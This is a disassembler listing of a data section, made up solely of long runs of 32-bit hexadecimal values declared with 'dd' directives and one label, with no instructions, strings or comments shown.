		dd 55B405F1h, 0EAC13C5Fh, 742277Bh, 0F93DFF5Ah,	31230535h
		dd 43B85BDDh, 23E4BBD3h, 6C9827E9h, 4F5380F4h, 8C6684F4h
		dd 1AA0524Dh, 67C73C56h, 3183CAB3h, 1595A85h, 1B28D440h
		dd 0D40CAF58h, 612B42F1h, 32591B7Dh, 4D12F7D4h,	47D186E0h
		dd 1737E63Eh, 88AA52EFh, 0ECF30425h, 0F1B52B6Ch, 0C75D6BFAh
		dd 0C46CA5BEh, 7485DB5Bh, 0C285F3FBh, 0E4689DE9h, 8E2F3D88h
		dd 0C8314E0Fh, 0EC39B1A5h, 70F1C56Ch, 814775BAh, 73C0C9B4h
		dd 0E35B731Bh, 54E132ABh, 3116BBD0h, 0DBFC5AD3h, 0D0405148h
		dd 0B54B0485h, 94E4E948h, 83B6AF4Eh, 0A88FA764h, 2BE34E86h
		dd 0AF48F0C4h, 0B6808024h, 268F6E2Ah, 0A730198h, 856643B7h
		dd 445EDD68h, 0F87D71FBh, 44588730h, 0BBFB8743h, 0E90B0A47h
		dd 0AFF78211h, 655DFAC2h, 9E9C147h, 0F51D8F76h,	0F137EC4h
		dd 15ECC717h, 0BB776E84h, 6681EBB8h, 0D00631B8h, 3378DB35h
		dd 4AC60132h, 0C15B5FC0h, 26389A3Dh, 82765D16h,	0EE160D8Eh
		dd 0F54DDE6Bh, 0E27FAADDh, 0F4E91A53h, 90027F71h, 795D58C5h
		dd 7AE95857h, 483AFD6Bh, 0B5509D22h, 0F40F3B33h, 0EE4034BBh
		dd 53CA4660h, 0F42AF1FFh, 68125807h, 0ADCC4D50h, 0F6D44BFFh
		dd 0FB257A4Eh, 53E67727h, 0BB39B20Ah, 1702B415h, 862D60B7h
		dd 5A651381h, 3EDBE9C2h, 2E16135Bh, 90F57CA8h, 0AA6AA08Ch
		dd 5D6374Ch, 0E133972h,	3E180DF8h, 84347C64h, 3D852C39h
		dd 0F84EFFA4h, 21D6C4ECh, 3423F750h, 0E617B01Bh, 67A1DF86h
		dd 779BA06h, 4572CF0h, 3F5A2674h, 0DC7A50C9h, 10714ADBh
		dd 2EBB029Fh, 77432230h, 321EE601h, 66E07A0Dh, 9F4B7028h
		dd 5352375Ch, 25CB0949h, 0F430F9F2h, 0ACBD0C64h, 18172748h
		dd 0CC81F0C1h, 12016F40h, 0E9EA09D6h, 4D87799Ch, 0C56A88F7h
		dd 8DA00126h, 7BD87791h, 434CDDD1h, 0CFE52981h,	30429D30h
		dd 701D9A49h, 90E625E2h, 0B8246A18h, 7A0279DFh,	1EAC303Fh
		dd 5A4AED39h, 5755F700h, 0DE86853h, 9CDCA0E7h, 9483A23Dh
		dd 50072D3Fh, 1850CDDEh, 0E799D57h, 250213CAh, 4CC64A84h
		dd 9D6B250h, 1E13074Bh,	55F04E89h, 0C19DB19Fh, 302EAB65h
		dd 0FE736501h, 6BF24090h, 1EC7B7Fh, 3EE9F54Ah, 58AF8A96h
		dd 4B92023h, 0E37825BBh, 0E4688057h, 4F76B53Bh,	4E137DF2h
		dd 89002A8Dh, 49514052h, 0F8E8B709h, 332FFBFDh,	0F7AFC0E7h
		dd 83B6D0h, 0C58AA905h,	0C24A09F5h, 124527A0h, 0B1F00C0Eh
		dd 12A30A2Eh, 624C233Dh, 7BB10451h, 4D8A2E01h, 0D95E650Bh
		dd 35F83007h, 7D8A034Eh, 0AA1C8B12h, 533AB3A2h,	0FDCBBECBh
		dd 0A37A7D17h, 97A24EF3h, 70210981h, 76EE8202h,	49569129h
		dd 0D62050FDh, 0E16B101Bh, 79BA0071h, 69E95997h, 3CB9C9F2h
		dd 0E54B3D47h, 38D6AD10h, 0A2F95772h, 0B12AB7CDh, 3E742B54h
		dd 3B06BDAEh, 8E51956h,	0EDF00606h, 53520B07h, 4A772DB7h
		dd 0ECDADF0Ch, 2D226F20h, 67595EB4h, 56494467h,	0BE306AAEh
		dd 4BE30316h, 0FB8A2121h, 512160Eh, 0BA4568E1h,	0E5AA0435h
		dd 6F73F4B9h, 0F81429B5h, 0EED8F877h, 7B0197C2h, 713034B5h
		dd 7C080A3h, 667FF580h,	2F233A68h, 97B69761h, 5AE0F708h
		dd 8868E580h, 0E1129B28h, 0D9D222E1h, 0E90DB168h, 22128A5h
		dd 9A0F4FB9h, 0F912C03Fh, 7F4027A3h, 0FD75605Fh, 2760BD5Fh
		dd 1A2D41D5h, 2FAC400Ch, 0DE70E30Dh, 65903F6Ch,	0A1C00127h
		dd 0D4B2A3FBh, 0AE2C9790h, 1140401Fh, 0F647DD2Dh, 0DE81B7C5h
		dd 2B42F780h, 684820EEh, 0BAA62CA1h, 8010B207h,	0C23341CAh
		dd 0BE06383Fh, 0E90AAD48h, 81FFBF3Ah, 0D1199CEBh, 57F57B13h
		dd 2D170805h, 25672BBBh, 1EA74291h, 81389512h, 6C0A6348h
		dd 0E2E8D10Fh, 5F28D310h, 7D580991h, 787E26EFh,	0C0FA2112h
		dd 4A313433h, 83A80C4Fh, 0E2F79C48h, 0D6D6E42Dh, 8527C760h
		dd 0E200974Fh, 0E9033B6Dh, 5FBCC059h, 41BE3EB0h, 214C3C6Eh
		dd 0AC4F3C79h, 83E9C27Eh, 0A7D45796h, 7EE568C2h, 29F78818h
		dd 1E04D02Fh, 0CC36040Eh, 681625F5h, 1D1E312Eh,	9957C96Bh
		dd 0E87A5035h, 0D0EE00E0h
dword_4F7044	dd 523D711h, 0D825174Bh, 40F4F80Dh, 894B5E07h, 804C34EFh
		dd 1A17BDBDh, 9AC2658h,	0F7B671B1h, 25226D81h, 0C50360AFh
		dd 0C002101Dh, 724DE9C5h, 0BAC11D93h, 2908E40Bh, 49E6F2E3h
		dd 0C550EF86h, 2C8DAD4Eh, 2A645DE0h, 96C66CD2h,	93FF7947h
		dd 39FD5AF2h, 0C43A5D04h, 7B5AEC07h, 368DA09h, 451B5F17h
		dd 17DE0A5h, 2FE9EA5Eh,	4B294492h, 0DB501865h, 3F0E2D75h
		dd 9EC20E00h, 0B74B1F4Fh, 56012CFBh, 0C32AD6B0h, 4FA3FB1Dh
		dd 0EF0A7CB7h, 2E62863Dh, 12301731h, 1619AEC5h,	9D4FB0E9h
		dd 0C7FEECB2h, 175C89Dh, 0C3BA8058h, 2ED26516h,	1F281F0h
		dd 2167371Dh, 0AD42D7E9h, 0DF2D62D7h, 889C5258h, 25B80B96h
		dd 3A58CD4Ah, 0E97E70EBh, 49A20E8h, 0F206EA63h,	0F05DD979h
		dd 675D37Ah, 392F6B7Bh,	1E19F53Dh, 28CC2A8Bh, 60814169h
		dd 2E49BC7Dh, 0CAD3962h, 81CFA2Dh, 3E1F7A80h, 5B0D829h
		dd 0FE68570Fh, 0F9E986A9h, 73C6220h, 3F440B5Ah,	0C5838FA9h
		dd 41FAE14Ah, 0F87B1EF6h, 5165EC2Eh, 0F1073692h, 1D889268h
		dd 0D7A0DAB2h, 0BD035CEEh, 14C1F8Ah, 8FC1CC53h,	5D3D16F6h
		dd 29718305h, 209CA13Ch, 13CC169h, 0AE1EE0B0h, 0D2911C86h
		dd 9EC5FB18h, 5510B0ECh, 57561D66h, 56DCF1C9h, 20BA7135h
		dd 0DB98584Fh, 820BF23Ah, 0A2E9020Ch, 4191D775h, 0BDE37BD6h
		dd 2FF96802h, 0CE5637B7h, 42112102h, 0C37C30h, 0BB535047h
		dd 8EC3913h, 24A17B8h, 0EE4A99ECh, 7CE629C8h, 0A19DBA60h
		dd 0B501A830h, 2A9D60C4h, 12B9CD9Fh, 4A260B53h,	54B07971h
		dd 90BF67D2h, 0ADC14F3Eh, 0D901027Dh, 0C4A976E9h, 2C5CB709h
		dd 0E780C924h, 0F7124D5Dh, 0BA5200D9h, 79387FDFh, 2601EA81h
		dd 0E974A80Bh, 40A4F592h, 80E503A2h, 569F21C5h,	62950617h
		dd 6E3084C7h, 0AB575004h, 0F2BAFC24h, 0E188CD02h, 0AEE1F8h
		dd 56397D09h, 28784168h, 7C5E1E26h, 7224093Fh, 8B075F58h
		dd 5701B805h, 662BF66h,	0E4204FD1h, 6C2A3DE7h, 0A6DFF794h
		dd 0BD04FE20h, 6106BD6h, 160E8483h, 0AA05AD80h,	555E49h
		dd 845BAC73h, 0AB5F4B0Ch, 0C78092D0h, 0F8283FC0h, 9301E74Ah
		dd 7438020Bh, 9D84E9E8h, 20F799ECh, 669D2B0Fh, 21E46863h
		dd 0E0FB03DDh, 0B6D9EF93h, 0B416804Eh, 4E4C099h, 0FEEC2F80h
		dd 0E905D676h, 0E52024E6h, 0F2C7F582h, 0FC87B821h, 1C1E61F4h
		dd 0E0C39D61h, 4D9E1D93h, 74705159h, 9B88090h, 3DC25014h
		dd 441E5E9Ch, 530CF282h, 565D69h, 0BE105A93h, 0D589130Ch
		dd 46905A71h, 76656800h, 0C7E0C75Bh, 3F594189h,	0DA501E23h
		dd 310F56C9h, 2CB7FB4h,	6E8DE95Fh, 2B3F8425h, 4A0642B1h
		dd 725D89Ah, 404A1ADAh,	505989C1h, 0A278AE3Eh, 181D2A68h
		dd 0C15924F1h, 0EB56AD65h, 76C881E9h, 0E9415F3Bh, 0EF053629h
		dd 0F7038F8Ah, 195268E1h, 4D735312h, 59E3FCF8h,	0D1DCB7FBh
		dd 6001C593h, 0C6017AF4h, 2C2D4FC2h, 0DFCA785Ah, 2607A488h
		dd 1C5692A2h, 0C5B0A092h, 0DB520A03h, 93D8F716h, 2234F0D0h
		dd 35303D1Dh, 8C865118h, 0B98041D5h, 37130944h,	0B6A02118h
		dd 0E449ECF3h, 17522548h, 0ED12101Ah, 0A06EC0A5h, 0D7975367h
		dd 17492998h, 1A41B43Fh, 0A11CAA70h, 4DB151A3h,	7130802Eh
		dd 6070E980h, 0C175F175h, 0A394F59Dh, 0FB75302h, 0DF5BF930h
		dd 49AF2D02h, 0B9FA8803h, 0E823CE0h, 254C685Ah,	5B62C0FCh
		dd 1CDA0BEEh, 0FB2EF409h, 3331D71Fh, 5A66B1Dh, 16E350Bh
		dd 2000B974h, 52054709h, 2E579554h, 0FA586A1Ah,	7540281Eh
		dd 0F5814521h, 2F3E0391h, 5DE83146h, 5CE9C7D8h,	9ADC854Bh
		dd 80F24929h, 0E2CC925Bh, 0DC691A7Eh, 0A9774999h, 9DF17FC9h
		dd 128AAF6Ch, 0B82B8D5Ah, 0F0F30E49h, 0BC0B73CBh, 476C7F53h
		dd 3469509Fh, 0AE1A89D5h, 0F10093E1h, 9E548285h, 0CA6CE2D3h
		dd 0FC861C57h, 8A874F74h, 0ABAC4A22h, 682C01D3h, 303CAE57h
		dd 4F030DF0h, 0A3E96138h, 0BDD976A6h, 3573EE90h, 0EAA76082h
		dd 1E3E04D1h, 0C4CA2927h, 0C08123Ah, 0C63FFB16h, 3A4E0132h
		dd 0AB94D720h, 7B07C906h, 257E3023h, 0B45E05B2h, 0A907042Ch
		dd 0BF52CE70h, 4398D594h, 0C082F88Eh, 12849103h, 90319EA6h
		dd 1BE95531h, 0D635635Ah, 0DC50B71Dh, 0C2017E5Ch, 7486C5Dh
		dd 0BC0E814Ah, 293BD4AAh, 8D859732h, 0B772BCA6h, 0DF69B9D2h
		dd 7C0256B0h, 202773BDh, 4BDC28BDh, 0C3514B8Dh,	0FD021237h
		dd 0FC264CEAh, 4FF9E150h, 0BE68073Ah, 0C136C50Fh, 0F55EF3B3h
		dd 48CF8058h, 4004E8C1h, 0E3F0B2Dh, 0D9DE26A9h,	635E3810h
		dd 6E4F5645h, 5E2509FDh, 0A0B56655h, 0C326A895h, 12EE802Ah
		dd 0D81FC699h, 0F61E43CEh, 8124FEDEh, 4E58A60Bh, 5998F6A6h
		dd 0BE4AD239h, 569B1491h, 2BD243Ah, 6240EDE8h, 0AD0B8FD8h
		dd 0D0087478h, 0B11E2AB6h, 55EF04E2h, 0C0DA6025h, 0C95E8B9Fh
		dd 12BD044Ah, 38400841h, 2E2CFCF5h, 0BAB0213h, 63248DBBh
		dd 949AFC4h, 0B4715550h, 160FBE20h, 0C5668E2Eh,	0CEEA0BA2h
		dd 9F257E2Eh, 95B2EE7Bh, 453F784h, 93BB6855h, 0DEBF5D0Eh
		dd 60F15A89h, 0C124E2E9h, 6C6AB323h, 962AE9CCh,	15FDD3Dh
		dd 8FAE0A13h, 618F301Ch, 9D5F20E9h, 6769B068h, 4FCE9Eh
		dd 5C1B1CD2h, 0DA549F58h, 3CA81C0h, 54D8242Fh, 6BCC029Dh
		dd 30414C6Fh, 51E93BFEh, 6C8BAF97h, 71F57E62h, 79A46800h
		dd 5A423008h, 260F6950h, 6AEC285Ah, 1C5F318Bh, 18C201D3h
		dd 29416C02h, 104131EAh, 0C3E9CA08h, 7737C59h, 3AE73EE4h
		dd 0D182F8A2h, 0A76800D3h, 5F417225h, 365522FCh, 9F35E00Eh
		dd 0E8EEBCA8h, 34D07312h, 521E6409h, 12DA00F1h,	0CB816DFBh
		dd 4C0231EAh, 0E9DBF741h, 8085C877h, 0B8F05AF1h, 0B0D89DA7h
		dd 59C828C2h, 2E16FE2Ch, 0C538A32Fh, 11F0565Dh,	0CE4F128Ah
		dd 90E8B047h, 889D4226h, 340CE008h, 14DAC278h, 0AE7F3AE2h
		dd 5E4A4164h, 0B86B4FD4h, 0EC3D73A7h, 13A45A02h, 0E71E6E7Ch
		dd 0CD7843C1h, 0C354EC51h, 29A2D8BAh, 437D810Bh, 1A4EF16Dh
		dd 7FCD6534h, 31BB0BD5h, 2F2058C3h, 778907FDh, 0B8202998h
		dd 6851083Bh, 1924064Ah, 75EA4F0Ch, 123D09E5h, 0CC005310h
		dd 7F5804CFh, 0F662E912h, 0EAC1C130h, 0BE561C02h, 67A84041h
		dd 0DEDC681h, 3199C713h, 0B5D5B7E0h, 0A84A71h, 0EF67C060h
		dd 486FCE1Dh, 0E2F5312h, 0F4C5CA52h, 25C02BF8h,	48A2055Bh
		dd 1188554h, 5CC6C0C8h,	0D7A97BE1h, 92EB2987h, 717D1C87h
		dd 162C09B5h, 7D7A0676h, 0F6AD445Eh, 0AD97C2DFh, 54555AEAh
		dd 17B14212h, 55625B07h, 1257784h, 2B93B152h, 0F24F56CFh
		dd 9EE98218h, 5CA4A48h,	0C6FB5F97h, 4F1ED158h, 13F58645h
		dd 81494B83h, 872A0506h, 0E025B4C2h, 0CC4AFE4Ah, 0BC4309AAh
		dd 0C3E940F7h, 0DBCFE1E7h, 5350A8EBh, 0E94F15B3h, 68088537h
		dd 763D7F2Dh, 0DEE41F4Ah, 0AE6CC007h, 83640C70h, 0E901E804h
		dd 1EA83765h, 538FBA1h,	0BA7522BEh, 0DD952CD0h,	521A7805h
		dd 551E0997h, 0EA4B1F84h, 0B540ADB6h, 8EC9B52Ch, 7033BB61h
		dd 7E77E848h, 0F03A8C41h, 7A13C582h, 31015732h,	0A8CD853Fh
		dd 0B54A4570h, 0FCADE171h, 0F70A50D1h, 246E6D9Dh, 68EB0218h
		dd 0CC403395h, 0CA09483Ah, 0D3F76Fh, 1D21F56Dh,	0E9315C50h
		dd 0F9A7ED79h, 1BA80075h, 0C04A370Ch, 7B61B448h, 0E1902944h
		dd 0CFEA152Eh, 7F1ECC40h, 0CE682741h, 0AA5B99D2h, 5B98680h
		dd 2A751273h, 7A7E40F7h
		dd 29FDCC33h, 511ECD58h, 0D5EA936Ch, 0B35A228Bh, 0D0D15B24h
		dd 0B900EFEBh, 5E27276Dh, 612A4229h, 757A554Ah,	132A04C5h
		dd 4825FB80h, 0D1823583h, 706161A9h, 120DF97Ah,	20AE1BE6h
		dd 0D1152208h, 0FC31422Dh, 410BBA11h, 1A5802C2h, 42346A95h
		dd 0A3CB5D70h, 2A0B2879h, 5DA004EAh, 6FD551EAh,	8D3F88DEh
		dd 2C7EBD01h, 0AC3B0858h, 540A9261h, 80200C7Bh,	39011904h
		dd 56B040E9h, 2DAB00B8h, 0D8F743CDh, 6412A30Dh,	0B5BE69A6h
		dd 0EAF96F3Bh, 0C2AC529Fh, 53755010h, 0FC7B2561h, 543F950Bh
		dd 530D408Eh, 717DA672h, 4E2DE125h, 0FC09F60Eh,	297EE3FFh
		dd 967030D5h, 4AF76880h, 0DF02E80Ch, 0D7560D97h, 36E01AA1h
		dd 2329184h, 545AA4A7h,	86200244h, 0CCE3951Ah, 52C9D9C1h
		dd 0C18BF3C8h, 5E1C61D5h, 0E1AF9844h, 77B020DFh, 462A8667h
		dd 0DB3CFE67h, 0D00564E2h, 5CF01729h, 0CF810047h, 6CAE2BB5h
		dd 7BF7F74Fh, 0A24EBCE2h, 0CEC9DFB3h, 27DEE437h, 9B2F0A79h
		dd 0B26873C4h, 55ED8B23h, 315A3461h, 2812C58Bh,	0F0201346h
		dd 88E701BEh, 0D1CFFEC7h, 0E398E2F8h, 0FF282C02h, 0E92FCCC0h
		dd 290538Ch, 158453E6h,	76AFBC60h, 93FAD18h, 9D7A2962h
		dd 0B0F6420h, 77BA43D2h, 4BA35048h, 1027916h, 82A77322h
		dd 93776B1h, 7527857Eh,	0E9617D65h, 0F85762F9h,	4F474C45h
		dd 0BFF37EB1h, 4147466h, 1504070Bh, 0C6C7EB29h,	9E8288E0h
		dd 8AC6B56Dh, 384FC0F6h, 0ECD3F3FCh, 8829071Fh,	0E90B59EEh
		dd 0C644526Ah, 4C477FE8h, 0BB72524Bh, 568AA917h, 0F978F42Fh
		dd 257E9BBDh, 9AB042AEh, 0CE9F7DFAh, 0B1D90DCh,	5541700Bh
		dd 0B198B2E4h, 906F3441h, 49CF8736h, 650C2996h,	0B0E3495Ah
		dd 0AC0D4BA0h, 2BF499DAh, 6CD1CC7Ah, 3641D45h, 216F4122h
		dd 0FEE904A6h, 0CA4C4E1h, 0EE5D4415h, 0BFC481E8h, 9338D0E7h
		dd 64900E67h, 48C1C504h, 4BF520Ah, 0B34437A7h, 0D7622A35h
		dd 16605A58h, 0F3913406h, 0C0008D22h, 801603EDh, 0C009C1F5h
		dd 80EFC41Eh, 0E13AA9C9h, 2E5475C2h, 473C8E59h,	9FFBB27h
		dd 0C972D530h, 0F6E9530Ch, 96592092h, 81C5C40Eh, 3BF5CB94h
		dd 681327B2h, 0BF6F5698h, 9D5F0ACBh, 0EEC16B32h, 0A50DA0AEh
		dd 25D151B9h, 2A42BED5h, 18F2CB67h, 8E0D1D0h, 0AD13D405h
		dd 0F1AEBA4Dh, 4BA66762h, 4CDA99BFh, 0E909C7A7h, 85259247h
		dd 38AA18E3h, 29256817h, 326E616h, 2A824CECh, 7AA8F381h
		dd 0E91A1BA6h, 559C5B8Ah, 55E940FBh, 0DB200ED2h, 907CB24Fh
		dd 278AE7C4h, 0E11BFB01h, 3ACC4BE9h, 1A11ABB3h,	55E6691Eh
		dd 0F55E1041h, 19092AE4h, 19657759h, 72C03E16h,	255473BBh
		dd 745A4A49h, 5F2DD07Dh, 0D78D9AEh, 9C2F7EE9h, 3B66484Ah
		dd 858E4825h, 53F3BD64h, 3A10F426h, 805AC4Ch, 0A009A65Fh
		dd 705033C7h, 16E6C688h, 294C1712h, 81A46C4h, 6514091Ch
		dd 0F021097Bh, 0DD271CC5h, 68253B44h, 72F0D448h, 0ECC7895Dh
		dd 5C1A09BFh, 2B806371h, 7A924405h, 19820D07h, 31973F30h
		dd 0E9642480h, 0BC815B57h, 75DDC1EBh, 50075BB8h, 115F3F5h
		dd 4EE9FE09h, 72927518h, 32F8D8D7h, 0E14133F8h,	928D71F7h
		dd 54EF49BAh, 0F111C182h, 0B431F809h, 0CD803A4Dh, 0EE01BB15h
		dd 869569E9h, 0F4841F0h, 0CA2395A6h, 87BBC68Ah,	0A23631BBh
		dd 4B54214Ch, 2298508h,	5105E6C0h, 0F3AF43C0h, 242B880h
		dd 68704858h, 0C0D97B5Eh, 0A0310789h, 0C086B142h, 0EF66F2E1h
		dd 71D11D3Eh, 4C78EB0h,	0FA8FB5C0h, 0C4B650AEh,	0BC6BEF44h
		dd 72A9B4ECh, 6454F85Ah, 1D52812Ch, 3919C9B1h, 910BCC5Dh
		dd 0C81088F4h, 0C2BC4F38h, 11707D27h, 5951DE97h, 3754FAE9h
		dd 58E22000h, 1E0AF280h, 591DB753h, 9F6E50FAh, 1F87EF41h
		dd 82B22228h, 130D5908h, 0B7A3EE58h, 2DEE30A4h,	992F2CBAh
		dd 8284D009h, 0D91E5507h, 620673B7h, 3030B951h,	7D292F28h
		dd 2CEF2DC1h, 4EBA01A1h, 4A2EFC19h, 0EF281C4h, 0F7F23F0h
		dd 1839E2C0h, 68127925h, 0E5E33A49h, 0C13F527Eh, 7F25FB4Ah
		dd 30801DB2h, 5D4A68C3h, 0BFC0C69Fh, 0D12C47F0h, 0B117445Ah
		dd 0B27B24A1h, 294BD238h, 0E134A8EBh, 0A883F527h, 0D6EBCD31h
		dd 5ADF6977h, 111DC7CBh, 0DAE32C1Ah, 0B0365A10h, 8E4135CBh
		dd 3D104421h, 7DCCEA0Eh, 814C9E34h, 2A75E8C2h, 0CA8C4113h
		dd 0DA112549h, 5F708E9h, 7E31E2AAh, 4A598D59h, 2A20F2FCh
		dd 7FC23DA2h, 0D4C58A4Ah, 9DF10BFh, 0C5136156h,	872CFF58h
		dd 0A86A4BA9h, 20193EEh, 50DD4E2Dh, 5412813Ah, 1F4B2C73h
		dd 0E5175E2Ch, 186AF881h, 380761FAh, 36BF5700h,	724B56B0h
		dd 75473522h, 8480EFDCh, 0E9858A4Dh, 0F32C6B5Eh, 0CCA001D0h
		dd 47605337h, 0D963DD28h, 0B89906Dh, 9C4577BDh,	0D1E0E97Ch
		dd 5B50E9EDh, 33FF9855h, 27AFCDD2h, 8BCA679Ch, 0DB55C382h
		dd 96BB16DCh, 95EC6E02h, 0EE4485B5h, 5BD9A040h,	0B7260C68h
		dd 1B1AD898h, 0E90E820Bh, 598C046h, 4E6D1D45h, 0AE7D5D0Fh
		dd 0E955027Bh, 0B3DAC871h, 5238FB00h, 0ED835E48h, 2C872F02h
		dd 0DFA198FDh, 4368800Eh, 0DD957070h, 0CC99DB9Eh, 1104E62h
		dd 0CD59C888h, 28833AC7h, 805BA0FEh, 0E94409E6h, 1F564DC1h
		dd 77A95772h, 29DD8709h, 70A556A4h, 7609DFC3h, 4515E8Eh
		dd 0BB093D9Eh, 76752957h, 17C2810Eh, 6F153716h,	8A8BB1ACh
		dd 0B6B13CD8h, 20E1E452h, 0E8B538C8h, 0E4B1FC7Bh, 18B5DEh
		dd 0F30E957h, 0F6684007h, 9E2E9905h, 62924256h,	7F7587h
		dd 0DB7EE304h, 4CBE9867h, 8A4DE64h, 0B20953DBh,	3D889F5h
		dd 8176C2DBh, 0ECE45AD4h, 0E4C01244h, 0E033F808h, 70F380B0h
		dd 0BFDC54B1h, 0E9933EC4h, 4C5732A5h, 9E16F6AAh, 504094Ah
		dd 203F5FA2h, 5B30DA09h, 215F8F0Ch, 0B2520402h,	0F347FB2Bh
		dd 0EA32B8CAh, 181B61EFh, 0BA09D973h, 0D6817A5Eh, 3F5AD729h
		dd 1D43F689h, 0ADC39B53h, 0F658E10Bh, 0AC57E2ECh, 832DF020h
		dd 2342122Fh, 0DFD0356h, 47DAA70Eh, 6E180AE0h, 0E96CA504h
		dd 0AC129DADh, 4960406h, 0D4FF593Ah, 0BB0813DFh, 2CB24CA4h
		dd 3A8C30ECh, 0E50510A2h, 5C05980h, 0F382F280h,	0E97FE75Fh
		dd 0E9408255h, 1738560Dh, 0B168AF5Ch, 247669F2h, 0C1451DDh
		dd 2D1411E3h, 1C501309h, 3885777h, 835F1D07h, 4F0B734Bh
		dd 92DD8E9h, 706072D4h,	5AF8F59Dh, 525D03D5h, 59F2BD55h
		dd 46DC7DCAh, 2042CD82h, 6E88E060h, 0C3E082E6h,	9807840h
		dd 5472FCC0h, 4BDCC88Bh, 5AD8C25Bh, 0E9250B7Ah,	0F7244243h
		dd 0DD97641Eh, 1CB78402h, 694E4B5Ch, 9C4982E6h,	2BC72019h
		dd 845E4091h, 516837C0h, 0ADAAB16Dh, 1F200ED8h,	0A069033h
		dd 620E2C3Fh, 682F02DDh, 0EB803260h, 66300915h,	8A0A594h
		dd 4C141CD0h, 577C10EAh, 81012C1Ch, 0CC8FE5Fh, 86043FDAh
		dd 0BF3094h, 0E9C328CEh, 0E7B55737h, 9641699Dh,	46F1CBDEh
		dd 68FE315Ah, 5152DE14h, 0F02E7E9Dh, 3C41DAFEh,	950C1ED4h
		dd 6B081ED7h, 92681F0Fh, 0D476AAEFh, 411AFE95h,	6AA0CEE9h
		dd 8F832F27h, 59102D4Ch, 0C227CF5Bh, 69375D59h,	5AA654AFh
		dd 20A6E4DFh, 629D0BBAh, 0D85C5FB4h, 714E349Ch,	1342DF68h
		dd 7D0B129Eh, 1F8BCE22h, 940BC7D2h, 75587C14h, 6884D565h
		dd 0AD11599h, 0BB2ABB0Dh, 4BE9A868h, 5E0DA939h,	0AF5E8FA8h
		dd 0C16EA140h, 0B7C0E970h, 0FF5EB784h, 7805618Bh, 111C11Eh
		dd 2053B6DCh, 0FB826FC6h
		dd 0DBE25DE8h, 0AF589B54h, 1B5D97DCh, 1B01D161h, 8CC63181h
		dd 0E903FB54h, 88EA0CEh, 0AEB492A0h, 29CE4282h,	0DD7B89A4h
		dd 0E7D4F929h, 4DF66C3h, 46CDEF23h, 679B8116h, 61E565C3h
		dd 0D76717AFh, 5E1A3CA5h, 23340498h, 45F60F30h,	235D4A77h
		dd 4CCE8332h, 0CB1E6531h, 893F818Dh, 18953263h,	0E377D6AEh
		dd 2427F15h, 0DEA80558h, 82578C62h, 91F72975h, 0B26F0161h
		dd 0E405C08Bh, 0EB38DC34h, 27BFE83Eh, 0C90CDD2Dh, 2B5AE934h
		dd 646CE0B1h, 373ED2D0h, 0E93DBB02h, 9BF58EE7h,	2F2ECBF4h
		dd 0B0555D13h, 0BDF37BD3h, 0C4DCED1h, 0E91E9C38h, 2DF2927h
		dd 9D010EBBh, 7DDB0B60h, 0F844F12Dh, 8EF5025h, 0FF4A25E9h
		dd 0B539CE7Dh, 5305B764h, 41CFE956h, 0EA80DBB2h, 165A43D5h
		dd 987CAB7h, 2FBCD908h,	61B8F900h, 7F5F257Ah, 62012417h
		dd 16083E28h, 982CC67Bh, 946993E8h, 0AA6F8280h,	10BD00EEh
		dd 14484D5Eh, 790705F3h, 85FB0A5Ah, 7FC50046h, 0E9620D68h
		dd 779575E2h, 1D2D9A20h, 1B523F63h, 28481CFFh, 0F03AD727h
		dd 68A50AF1h, 80D72BEEh, 271DF781h, 0A473F438h,	539D80C8h
		dd 655126E9h, 5BD98063h, 0B234D005h, 0C8297A0Ah, 0D52F072Dh
		dd 7A73FBADh, 0A84AE2CEh, 0AD12B16Fh, 0AA58E517h, 5A2BE18Ah
		dd 0FE510DC8h, 2FF47238h, 0C5015C3Bh, 0A008AC3Ah, 0EC4D6719h
		dd 0EBBA0052h, 1D3B298h, 0CC32E9D5h, 7F5B403Eh,	1FBC1348h
		dd 72B825h, 0D4685E2Bh,	0B5B79209h, 0C1F53FCAh,	0EF36FD10h
		dd 0F027127h, 0F6770487h, 366C5A9Ah, 0BFA75E4Bh, 0B957D26Bh
		dd 122F46DDh, 81B8A4A2h, 0E7073841h, 0F79834F2h, 0C3E210A5h
		dd 0D9DAF3D9h, 550254D6h, 9A381468h, 7848FFC7h,	662A7644h
		dd 780CE6Ah, 625E14E9h,	0C2AF9153h, 2F05D6Dh, 35BF895Bh
		dd 9735460Fh, 0E1B7916Eh, 0C5417A47h, 0E36A5B5Ch, 7466C943h
		dd 86C4284h, 1B541855h,	80F9971Fh, 0BD0CB648h, 90C76947h
		dd 4D8F9CAAh, 8A262FD4h, 0A4914EAAh, 0E9BFDE7Ah, 2A7F5D33h
		dd 8B032FFAh, 5024387Bh, 0A6E13B8h, 133D049Eh, 0A0571611h
		dd 8229DE82h, 35E7BC6h,	0C893D931h, 0E7B682A5h,	681785F8h
		dd 67F36636h, 51BF5783h, 2F5D95D9h, 14984BEFh, 2282B7A9h
		dd 5100342Fh, 27800CB1h, 0CA5F43C9h, 81FE7712h,	0B1383BF1h
		dd 81CD800Eh, 757F56Bh,	3CE43677h, 0BA93E0h, 1B597551h
		dd 69651168h, 9E20297Fh, 0B2564BC2h, 595EC935h,	487EEA72h
		dd 30B389EBh, 4A92FED1h, 0ED735EBh, 0AB52D35Bh,	77F01C04h
		dd 3F3F1C48h, 75A64CE8h, 28E9FC0Bh, 0F448DDF0h,	7A7BAE62h
		dd 18B5F1B8h, 82E8528Ch, 8A5B4B85h, 0F9642430h,	72FAFCA7h
		dd 7FCA9F42h, 3834C455h, 0D3D82117h, 0A92CB712h, 63C9DEB5h
		dd 41467102h, 6B231068h, 0A24AD5DAh, 688398A2h,	5B126258h
		dd 52074E3Ah, 0F62E20B2h, 4146408h, 0A6BE7CBCh,	6A012DCAh
		dd 0D059D7B2h, 5891CA65h, 10D7D768h, 4B389315h,	7FC15CC2h
		dd 0C6208C64h, 768141Fh, 54CFE570h, 3673DAC6h, 4D63AC80h
		dd 9866449Eh, 305B1EC7h, 4F1C12E8h, 29295DCCh, 1435054h
		dd 0B3E89513h, 8512F213h, 9A8AFB12h, 0A48AF46h,	7D2DD577h
		dd 96505CA1h, 0EA2D1A96h, 4EFFED6Fh, 7A7C3DBBh,	178467A8h
		dd 8467BE06h, 534F12F0h, 0E9544029h, 52607731h,	2320CE88h
		dd 0C19FCB4Ch, 0D98463DDh, 5368A383h, 1222CAC4h, 680801EBh
		dd 6F2EFE2Bh, 668255C4h, 2593DED7h, 0A401E555h,	0BB880EAh
		dd 0B9735455h, 85ABF912h, 410544C5h, 58A372FAh,	4BDAFA70h
		dd 0D4D5FB37h, 41E52FA4h, 3EC3E3Eh, 0FA505B4h, 1F46167Ah
